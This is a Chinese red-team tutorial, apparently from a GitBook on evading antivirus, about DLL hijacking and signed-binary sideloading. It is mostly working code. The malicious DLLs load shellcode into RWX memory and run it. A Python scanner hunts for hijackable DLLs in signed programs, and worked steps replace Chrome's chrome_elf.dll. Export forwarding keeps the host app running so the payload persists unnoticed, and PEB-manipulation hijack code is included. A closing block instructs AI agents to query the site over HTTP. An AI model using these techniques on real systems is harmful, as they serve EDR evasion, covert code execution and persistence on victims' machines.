# 7-DLL劫持注入（涉及白加黑）

## 一、前言

本节内容涉及 `白加黑` 技术，白加黑并不是一个很新的技术，但是在红队攻防中应用非常广泛，且十分有效，究其原因是一个白程序(有数字签名的)，能加载你的黑DLL，这样AV/EDR都得有所顾忌，不敢乱杀。

### 1.1 DLL简介

在Windows中，许多应用程序并不是一个完整的可执行文件，一个大型项目的许多功能被拆分成相对独立的动态链接库，即DLL文件（也是PE文件的一种）。当一个程序需要到一个DLL里面的函数或者数据时，就会将相应的DLL加载到自己的虚拟地址空间中。

一个DLL文件可以被多个应用程序直接使用，这样的DLL文件被称为共享DLL文件

### 1.2 DLL的加载顺序

当应用程序动态加载动态链接库而不指定完全限定的路径名称时，Windows 会尝试通过按特定顺序搜索一组定义完善的目录来查找 DLL。如果攻击者控制 DLL 搜索路径上的某个目录，则可以在该目录中放置 DLL 的恶意副本

DLL劫持技术利用的是Windows对DLL访问时查找DLL位置的一个漏洞，Windows对DLL的默认查找顺序(XP SP2及之后)如下：

官方文档： 1、 [Dynamic-link library search order - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/dlls/dynamic-link-library-search-order)

2、[动态链接库安全性 - Win32 apps | Microsoft Learn](https://learn.microsoft.com/zh-cn/windows/win32/dlls/dynamic-link-library-security)

1. 从中加载应用程序的目录。
2. 系统目录。
3. 16 位系统目录。
4. Windows 目录。
5. 当前目录。
6. PATH 环境变量中列出的目录。

当应用程序发出 **LoadLibrary** 调用时，系统会搜索 DLL，在当前目录中查找 DLL 的恶意副本，然后加载它。 然后，DLL 的恶意副本在应用程序中运行，并获取用户的权限。

说的有点啰嗦了，实际的劫持中我们排除某些KnownDlls，排除某些绝对路径加载的DLL，找到可以被劫持的DLL，然后将恶意的DLL放置到原始DLL的路径即可。

## 二、流程和代码实现

**DLL的导出函数**：在 C++ 中，导出函数（Export Functions）通常是为了创建动态链接库（DLL）或共享库，以便其他程序或模块可以调用这些函数

**导出方式**：

```cpp
模板
extern "C" __declspec(dllexport) int <导出函数名称>(类型 参数1, 类型 参数2, ……)

例子
extern "C" __declspec(dllexport) int Add(int a, int b)
```

详见：[C++开发基础之创建DLL的常见的6种导出函数（Export Functions）形式\_c++ 导出函数-CSDN博客](https://blog.csdn.net/houbincarson/article/details/135696212)

⚠**注意**：DLL劫持注入中，恶意DLL应该与原始DLL某一个函数具有相同的导出函数声明，这样应用程序才能正确调用我们的恶意DLL里的函数。

### 2.1 DLL劫持测试

1. 构造一个原始DLL
2. 构造一个恶意DLL
3. 构造一个应用程序exe

构造一个原始DLL

```go
#include <windows.h>
#include <tchar.h>
#include <StrSafe.h>
#include <cstdio>

BOOL WINAPI DllMain(HINSTANCE hInst, DWORD fdwReason, LPVOID lpReserved) {
	TCHAR szFileName[MAX_PATH] = { 0 };
	switch (fdwReason) {
	case DLL_PROCESS_ATTACH:
		GetModuleFileName(NULL, szFileName, MAX_PATH);
		printf("Original Dll' Current Path: %s\r\n", szFileName);
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}

	return(TRUE);
}

extern "C" __declspec(dllexport) int Add(int a, int b) {
	return(a + b);
}
```

构造一个恶意DLL

```go
#include <windows.h>
#include <tchar.h>
#include <StrSafe.h>
#include <cstdio>

BOOL WINAPI DllMain(HINSTANCE hInst, DWORD fdwReason, LPVOID lpReserved) {
	TCHAR szFileName[MAX_PATH] = { 0 };
	switch (fdwReason) {
	case DLL_PROCESS_ATTACH:
		GetModuleFileName(NULL, szFileName, MAX_PATH);
		printf("Dll Path: %s\r\n", szFileName);
		break;
	case DLL_PROCESS_DETACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
		break;
	}

	return(TRUE);
}

typedef int (*PFNADD)(int, int);

extern "C" __declspec(dllexport) int Add(int a, int b) {
	unsigned char buf[] = { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3 };

	// 申请一块大小为buf字节数组长度的可读可行的内存区域
	LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// 将buf数组中的内容复制到刚刚分配的内存区域
	RtlMoveMemory(pMemory, buf, sizeof(buf));

	// 创建一个线程执行内存中的代码
	HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

	Sleep(1000);

	return TRUE;
}

```

应用程序代码

```go
#include <windows.h>
#include <stdio.h>

int main() {
	HMODULE hMod = NULL;

	hMod = LoadLibraryA("DLLHijack.dll");
	if (!hMod) {
		printf("加载失败!");
		return(-1);
	}
	typedef int (*PFNADD)(int, int);
	PFNADD pfnAdd = (PFNADD)GetProcAddress(hMod, "Add");
	if (NULL == pfnAdd)
		return(-1);
	printf("1000 + 2000 = %d\r\n", pfnAdd(1000, 2000));

	if (hMod) {
		FreeLibrary(hMod);
		hMod = NULL;
	}
	return 0;
}
```

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/14-46-41-0719ac6c0cd2c1328c223a48fddd5a2d-20250111144641-2d30ae.png)

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/14-47-17-78f45e8462c70e523b4c24a8d81130e0-20250111144717-8463fb.png)

### 2.2 劫持特定函数接口型（Dll漏洞挖掘及白加黑利用）

1. 寻找目标程序除微软DLL外的可被劫持的DLL
2. 构造一个恶意DLL，并声明一个与原始DLL一样的导出函数声明
3. 将恶意DLL放入到原始DLL目录中，并将恶意DLL的名称改为原始DLL的名称。
4. 运行目标程序

现在有一个问题，就是我们如何知道被劫持的DLL里面的导出函数呢？手动去找不太现实，可以利用工具批量查找可利用的DLL。

工具:[GitHub - HackerCalico/SkyShadow: Generate DLL Hijacking Payload in batches.](https://github.com/HackerCalico/SkyShadow)

将其中的scan.py分成两部分，一个命名为：`scan_MSDLL.py`，另一个命名为：`scan_DLLHijack.py`，首先使用 `scan_MSDLL.py` 来搜寻微软的DLL，接着使用 `scan_DLLHijack.py` 来搜寻可以劫持的DLL。

判断了一下获取到的dll如果开头为API以及结尾为HELP或API直接丢弃掉，然后就是判断导出的dll如果大于1个那么也丢弃掉，因为白加黑只需要一个dll，如果导出来太多dll的话没啥用。

⚠**注意**：使用工具前，请将Tool目录添加到环境变量。

详见：[白加黑详解](https://mp.weixin.qq.com/s/k1ilzWpiMaSBGDTza2x_FA)

scan\_MSDLL.py

```python
import os
import sys
import re

def collect_microsoft_dlls(base_paths):
    """
    收集微软系统 DLL
    """
    microsoft_dlls = set()

    def scan_directory(path):
        try:
            for filename in os.listdir(path):
                filepath = os.path.join(path, filename)
                if os.path.isdir(filepath):
                    scan_directory(filepath)
                elif filename.lower().endswith('.dll'):
                    microsoft_dlls.add(filename.lower())
        except PermissionError:
            pass
        except Exception as e:
            print(f"扫描错误: {e}")

    # 扫描常见系统目录
    for base_path in base_paths:
        if os.path.exists(base_path):
            scan_directory(base_path)

    return microsoft_dlls

def save_dlls_to_file(dlls, filename='MS_DLL.txt'):
    """
    保存 DLL 列表到文件
    """
    with open(filename, 'w', encoding='utf-8') as f:
        for dll in sorted(dlls):
            f.write(dll + '\n')

def main():
    # 默认系统 DLL 目录
    default_paths = [
        r'C:\Windows\System32',
        r'C:\Windows\SysWOW64', 
        r'C:\Windows\WinSxS'
    ]

    # 如果提供了路径参数，则使用用户指定路径
    if len(sys.argv) > 1:
        default_paths = [sys.argv[1]]

    # 收集 DLL
    microsoft_dlls = collect_microsoft_dlls(default_paths)

    # 打印和保存结果
    print(f"总共找到 {len(microsoft_dlls)} 个微软 DLL")
    save_dlls_to_file(microsoft_dlls)

    # 控制台输出
    for dll in sorted(microsoft_dlls):
        print(dll)

if __name__ == '__main__':
    main()

```

使用默认搜寻路径 `python .\scan_MSDLL.py`

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/17-01-29-cae5a614a7092f4d2e0e1efb34ba4564-20250111170128-a24e8c.png)

scan\_DLLHijack.py

```python
import os
import re
import sys


def GetPayload(path, exeName):
    whiteDLLs = {}
    exeFullPath = path + '\\' + exeName
    # 获取导入表
    imports = os.popen('dumpbin /imports "' + exeFullPath + '"').read()
    # 匹配DLL信息
    dlls = re.findall('[\S]+\.[dllDLL]{3}[\s\S]+?\n\n[\s\S]+?\n\n', imports)
    dllnames = []
    for dll in dlls:

        if '?' not in dll:
            dllName = re.findall('[\S]+\.[dllDLL]{3}', dll)[0]
            dllnames.append(dllName)
            print(dllnames)
            #print(dllnames)
            # 排除微软DLL
        if len(dllnames) <= 1:
            for i in dllnames:

                if i.startswith("api") or i.split('.')[0].endswith("32") or i == "IPHLPAPI.dll" or i.split('.')[0].endswith("API"):
                    continue
                exist = False
                for msDLL in msDLLs:
                    if msDLL.lower() == i.lower():
                        exist = True
                        break
                if not exist:
                    dllFunctions = re.findall('\n\n[\s\S]+', dll)[0]
                    dllFunctions = re.findall('[0-9A-F][\s]([\S]+)\n', dllFunctions)
                    whiteDLLs[i] = dllFunctions
    # 生成Payload
    if whiteDLLs:
        print(exeFullPath)
        # 获取EXE信息
        exeSize = os.path.getsize(exeFullPath)
        if exeSize > 1048576:
            exeSize = str(round(exeSize / 1048576, 2)) + 'MB'
        elif exeSize > 1024:
            exeSize = str(round(exeSize / 1024, 2)) + 'KB'
        else:
            exeSize = str(round(exeSize, 2)) + 'B'
        sigcheck = os.popen('sigcheck64 "' + exeFullPath + '"').read()
        exeMachineType = re.findall('MachineType:[\s]+([\S]+)', sigcheck)[0]
        if exeMachineType == '64-bit':
            bit = 'x64'
        else:
            bit = 'x86'
        exePublisher = re.findall('Publisher:[\s]+([\S]+)', sigcheck)[0]
        if exePublisher == 'n/a':
            signature = ''
            payload = [bit + ' ' + exeSize + ' 无数字签名 ' + exeName]
        else:
            signature = '数字签名'
            payload = [bit + ' ' + exeSize + ' 有数字签名 ' + exeName]
        # 生成导出函数
        for dllName, dllFunctions in whiteDLLs.items():
            payload += ['\n' + dllName]
            for dllFunction in dllFunctions:
                payload += [
                    'extern "C" __declspec(dllexport) int ' + dllFunction + '() {\n MessageBoxA(NULL, "' + dllFunction + '",0,0);return 0;\n}']

        # 写入文件
        name = bit + ' ' + exeSize + ' ' + signature + ' ' + exeName
        try:
            os.mkdir('Payload')
        except:
            pass
        try:
            os.mkdir('Payload\\' + name)
        except:
            pass
        with open('Payload\\' + name + '\\' + name + '.txt', 'w') as f:
            f.write('\n'.join(payload))
        os.popen('copy "' + exeFullPath + '" "' + os.getcwd() + '\\Payload\\' + name + '"')


# 遍历目录
def Collect(path):
    try:
        for fileName in os.listdir(path):
            if os.path.isfile(path + '\\' + fileName):  # 文件
                if fileName[-4:] == '.exe':
                    GetPayload(path, fileName)  # DLL劫持挖掘
            elif os.path.isdir(path + '\\' + fileName):  # 文件夹
                Collect(path + '\\' + fileName)
    except:
        pass


# 获取微软DLL
with open('MS_DLL.txt', 'r') as f:
    msDLLs = f.read().splitlines()

# 收集EXE
if len(sys.argv) == 2:
    Collect(sys.argv[1])
else:
    print('Usage: python scan.py "D:\\\\"')
```

`python .\scan_DLLHijack.py "C:\\"`

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/15/13-32-35-9e277c31383423b1cff0129c932af1f9-20250115133235-12da75.png)

随便打开一个输出结果的txt，看看里面的导出函数声明，然后将代码复制到VS编译成一个恶意DLL，将恶意DLL的名称修改为 `chrome_elf.dll`

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/16-27-25-971725db41e909f74d8604bf2adf96cf-20250111162724-c2c0b0.png)

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/16-36-32-96436af4ce20c2a364762e90aee5d89e-20250111163631-87f46a.png)

来到原始DLL的路径 `C:\Program Files\Google\Chrome\Application\131.0.6778.265`。路径不一定相同，可以使用IDA PRO、windbg、x32/64dbg等工具去看 `Chrome` 真正加载的dll。

原始DLL：`chrome_elf_old.dll` 恶意DLL：`chrome_elf.dll`

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/16-39-32-0e163971bc9cff9cc777011ec4404c1b-20250111163932-112c5d.png)

来到Chrome.exe真正的目录 `C:\Program Files\Google\Chrome\Application`

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/16-40-37-8011721c7405a153eec321e73854b295-20250111164037-33665d.png)

点击运行exe，成功劫持

![recording.gif](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/16-47-38-38c6b6a335511a30f1e96db5aca2d53b-recording-edcae5.gif)

测试完之后，记得把恶意DLL `chrome_elf.dll` 给删除，原始DLL `chrome_elf_old.dll` 的名称修改为 `chrome_elf.dll`

### 2.3 DLL函数转发（也称DLL旁路加载）

1. 寻找目标程序除微软DLL外的可被劫持的DLL
2. 根据转发表，构造一个恶意DLL（用AheadLib工具）。
3. 将恶意DLL放入到原始DLL目录中，并将恶意DLL的名称改为原始DLL的名称。
4. 运行目标程序

可以看到上面的GIF图，我点击运行了Chrome，虽然成功执行了我们的恶意代码，但是Chrome并没有正常的执行。这样并不利于我们在实战中使用，所以在编写一个恶意DLL时，我们通常除了让dll的导出表与原dll一致，同时对函数进行向原dll的转发，这样我们就能在用户毫无察觉的情况下运行自定义的代码。

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/12/13-16-00-304eb2f5d0d00a2aa0f3dcf8ea033d00-20250112131600-0f71e7.png)

**DLL函数转发**：

1. A DLL，其导出函数有 funA，可以供主程序 exe 调用；
2. B DLL，其导出函数有 funB1, funB2，但是开发者开发时，标记了 funB2 函数实际调用的是 A DLL 的 funA 函数，那么主程序在调用的时候：exe -> funB2 -> funA，即 funB2 只是起到一个中转的作用，前面讲到，我们在调用 DLL 的导出函数时，需要将对应的 DLL 载入内存，获取到其导出函数的内存地址，才能进行调用，所以 exe 在调用 B DLL的 funB1 和 funB2 函数时，不仅需要将 B DLL 载入内存，而且还需要将 A DLL 载入内存。
3. 这个知识点对我们后续开发恶意DLL有很重要的作用，比如说我们可以在dllmain函数中编写恶意代码，而不影响程序的正常执行。

转发函数的形式：

```
#pragma comment(linker, "/EXPORT:Add=Origin.Add")

Add表示恶意DLL里的函数（并不需要真正构造出这个函数），Origin.Add表示原始DLL的Add函数。
```

如果被劫持的DLL拥有多个导出函数，则我们就需要全部转发，那么怎么批量生成转发函数表呢？可以使用 `AheadLib` 工具：[\[下载\] AheadLib修改 支持x64支持类/命名空间-编程技术-看雪-安全社区|安全招聘|kanxue.com](https://bbs.kanxue.com/thread-224408.htm)

我这里选择的是直接转发函数，当然你也可以用即使调用函数，它们的原理不相同但是达到的效果差不多。

挑选一个可被劫持的DLL，如果要转发的函数太多了，选择一个合适的路径输出cpp文件。

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/20-55-27-e6573aa4d01740479b832e9e79ff297b-20250111205526-515227.png)

dllmain和EvilFuntion的代码如下，然后将转发函数表代码复制到dllmain函数的下方中。

```go
#include <windows.h>
#include <tchar.h>
#include <StrSafe.h>
#include <cstdio>

void EvilFunction()
{
	unsigned char buf[] = { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3 };

	// 申请一块大小为buf字节数组长度的可读可行的内存区域
	LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	// 将buf数组中的内容复制到刚刚分配的内存区域
	RtlMoveMemory(pMemory, buf, sizeof(buf));

	// 创建一个线程执行内存中的代码
	HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);

	Sleep(1000);
}

////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{
		EvilFunction();
	}
	else if (dwReason == DLL_PROCESS_DETACH)
	{
	}

	return TRUE;
}
```

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/21-03-32-af791ee960ee2707a5fdbfc088d6138d-20250111210331-69d240.png)

生成我们的恶意dll并改名，原始DLL改成以Org为后缀。

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/21-04-53-13799b9bf918099e7f878e8302c8f222-20250111210452-d4a3c9.png)

测试

![recording.gif](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/21-06-33-16f8235b37f365ee881a72cbfe1d48ac-recording-13dff8.gif)

可以看到，应用程序加载了恶意DLL和原始DLL，这样应用程序就能正常启动，达到隐蔽持久化的目的。

![](https://images-of-oneday.oss-cn-guangzhou.aliyuncs.com/images/2025/01/11/21-07-34-ae28545276389df8c98c4623ca5076ab-20250111210733-2babd5.png)

### 2.4 通用DLL劫持型

这是吾爱破解社区里面的一位大佬分享的技术。`通用DLL劫持` ，这是一个 DLL 劫持的底层实现，主要通过直接操作 PEB（进程环境块）和 LDR（加载器）数据结构来替换已加载的 DLL。详细的原理介绍请看 `参考文章-1`

**参考文章**： 1、[一种通用DLL劫持技术研究 - 吾爱破解 - 52pojie.cn](https://www.52pojie.cn/thread-830796-1-1.html)

2、 [GitHub - anhkgg/SuperDllHijack: SuperDllHijack：A general DLL hijack technology, don't need to manually export the same function interface of the DLL, so easy! 一种通用Dll劫持技术，不再需要手工导出Dll的函数接口了](https://github.com/anhkgg/SuperDllHijack)

3、[PEB (winternl.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb)

4、[PEB\_LDR\_DATA (winternl.h) - Win32 apps | Microsoft Learn](https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data)

5、[Vergilius Project | Kernels](https://www.vergiliusproject.com/kernels)

官方文档的数据结构中某些字段的含义并没有说明，详细字段含义请看`参考文章-5`。

1. 数据结构定义

```go
// UNICODE_STRING：Windows 字符串表示
typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR  Buffer;
} UNICODE_STRING;

// PEB_LDR_DATA：进程加载模块链表信息
typedef struct _PEB_LDR_DATA {
    ULONG Length;
    BOOLEAN Initialized;
    PVOID SsHandle;
    LIST_ENTRY InLoadOrderModuleList;
    LIST_ENTRY InMemoryOrderModuleList;
    LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA;

// LDR_DATA_TABLE_ENTRY：单个模块的详细信息
typedef struct _LDR_DATA_TABLE_ENTRY
{
	LIST_ENTRY InLoadOrderLinks;
	LIST_ENTRY InMemoryOrderLinks;
	LIST_ENTRY InInitializationOrderLinks;
	PVOID DllBase;
	PVOID EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STRING FullDllName;
	UNICODE_STRING BaseDllName;
	ULONG Flags;
	WORD LoadCount;
	WORD TlsIndex;
	union
	{
		LIST_ENTRY HashLinks;
		struct
		{
			PVOID SectionPointer;
			ULONG CheckSum;
		};
	};
	union
	{
		ULONG TimeDateStamp;
		PVOID LoadedImports;
	};
	_ACTIVATION_CONTEXT * EntryPointActivationContext;
	PVOID PatchInformation;
	LIST_ENTRY ForwarderLinks;
	LIST_ENTRY ServiceTagLinks;
	LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
```

2. 获取 PEB 数据结构的地址

```go
void* NtCurrentPeb()
{
#ifdef _WIN64
	//return (void*)__readgsqword(0x30);
	return (void*)__readgsqword(0x60);
#else
	__asm {
		mov eax, fs: [0x30] ;
	}
#endif
}
```

⚠**注意**：

* 获取当前进程 PEB：使用 `__readgsqword(0x60) 或(void*)__readfsdword(0x30)`
* 获取远程进程 PEB：使用上下文寄存器方法（`进程镂空注入（Process Hollowing Injection)` 有介绍）

3. 获取 PEB 中的 Ldr 数据结构的地址

```go
PEB_LDR_DATA* NtGetPebLdr(void* peb)
{
#ifdef _WIN64
	return (PEB_LDR_DATA*)(*(ULONGLONG*)((BYTE*)peb + 0x18));
#else
	__asm {
		mov eax, peb;
		mov eax, [eax + 0xc];
	}
#endif
}
```

4. 核心劫持函数

```go
void SuperDllHijack(LPCWSTR dllname, LPWSTR OrigDllPath) {
    void* peb = NtCurrentPeb();
    PEB_LDR_DATA* ldr = NtGetPebLdr(peb);

    // 遍历已加载模块链表
    for (LIST_ENTRY* entry = ldr->InLoadOrderModuleList.Blink;
         entry != (LIST_ENTRY*)(&ldr->InLoadOrderModuleList);
         entry = entry->Blink) {
        
        PLDR_DATA_TABLE_ENTRY data = (PLDR_DATA_TABLE_ENTRY)entry;

        // 比较 DLL 名称
        if (!_wcsicmp(data->BaseDllName.Buffer, dllname)) {
            // 替换 DLL 基址
            HMODULE hMod = LoadLibrary(OrigDllPath);
            data->DllBase = hMod;
            break;
        }
    }
}

```

没成功，不过有些思路可以学习一下。

完整代码

```go
#include <windows.h>
#include <SDKDDKVer.h>
#include <shlwapi.h>
#pragma comment(lib, "shlwapi.lib")

// UNICODE_STRING：Windows 字符串表示
typedef struct _UNICODE_STRING {
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} UNICODE_STRING;

// PEB_LDR_DATA：进程加载模块链表信息
typedef struct _PEB_LDR_DATA {
	ULONG Length;
	BOOLEAN Initialized;
	PVOID SsHandle;
	LIST_ENTRY InLoadOrderModuleList;
	LIST_ENTRY InMemoryOrderModuleList;
	LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA;

// LDR_DATA_TABLE_ENTRY：单个模块的详细信息
typedef struct _LDR_DATA_TABLE_ENTRY
{
	LIST_ENTRY InLoadOrderLinks;
	LIST_ENTRY InMemoryOrderLinks;
	LIST_ENTRY InInitializationOrderLinks;
	PVOID DllBase;
	PVOID EntryPoint;
	ULONG SizeOfImage;
	UNICODE_STRING FullDllName;
	UNICODE_STRING BaseDllName;
	ULONG Flags;
	WORD LoadCount;
	WORD TlsIndex;
	union
	{
		LIST_ENTRY HashLinks;
		struct
		{
			PVOID SectionPointer;
			ULONG CheckSum;
		};
	};
	union
	{
		ULONG TimeDateStamp;
		PVOID LoadedImports;
	};
	_ACTIVATION_CONTEXT* EntryPointActivationContext;
	PVOID PatchInformation;
	LIST_ENTRY ForwarderLinks;
	LIST_ENTRY ServiceTagLinks;
	LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;

// 获取 PEB 数据结构的地址
void* NtCurrentPeb()
{
#ifdef _WIN64
	//return (void*)__readgsqword(0x30);
	return (void*)__readgsqword(0x60);
#else
	__asm {
		mov eax, fs: [0x30] ;
	}
#endif
}

// 获取 PEB 中的 Ldr 数据结构的地址
PEB_LDR_DATA* NtGetPebLdr(void* peb)
{
#ifdef _WIN64
	return (PEB_LDR_DATA*)(*(ULONGLONG*)((BYTE*)peb + 0x18));
#else
	__asm {
		mov eax, peb;
		mov eax, [eax + 0xc];
	}
#endif
}

void SuperDllHijack(LPCWSTR dllname, LPWSTR OrigDllPath) {
	void* peb = NtCurrentPeb();
	PEB_LDR_DATA* ldr = NtGetPebLdr(peb);

	// 遍历已加载模块链表
	for (LIST_ENTRY* entry = ldr->InLoadOrderModuleList.Blink;
		entry != (LIST_ENTRY*)(&ldr->InLoadOrderModuleList);
		entry = entry->Blink) {

		PLDR_DATA_TABLE_ENTRY data = (PLDR_DATA_TABLE_ENTRY)entry;

		// 比较 DLL 名称
		if (!_wcsicmp(data->BaseDllName.Buffer, dllname)) {
			// 替换 DLL 基址
			HMODULE hMod = LoadLibrary(OrigDllPath);
			data->DllBase = hMod;
			break;
		}
	}
}
VOID DllHijack1(HMODULE hMod)
{
	// 定义一个字符串缓冲区，用于存储 DLL 路径
	TCHAR tszDllPath[MAX_PATH] = { 0 };

	// 获取当前模块（DLL）的完整文件路径
	GetModuleFileName(hMod, tszDllPath, MAX_PATH);

	// 移除文件名，保留目录路径
	PathRemoveFileSpec(tszDllPath);


	// 在目录路径后追加要劫持的 DLL 名称
	PathAppend(tszDllPath, TEXT("libwiresharkOrg.dll"));

	// 调用 DLL 劫持函数
	SuperDllHijack(L"libwireshark.dll", tszDllPath);
}

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		DllHijack1(hModule);
		break;
	case DLL_THREAD_ATTACH:
		break;
	case DLL_THREAD_DETACH:
		break;
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://oneday.gitbook.io/onedaybook/mian-sha/wen-ding-mian-sha-zhi-lu/di-er-zhang-zhi-xing-yu-zhu-ru-ji-shu/7dll-jie-chi-zhu-ru-she-ji-bai-jia-hei.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
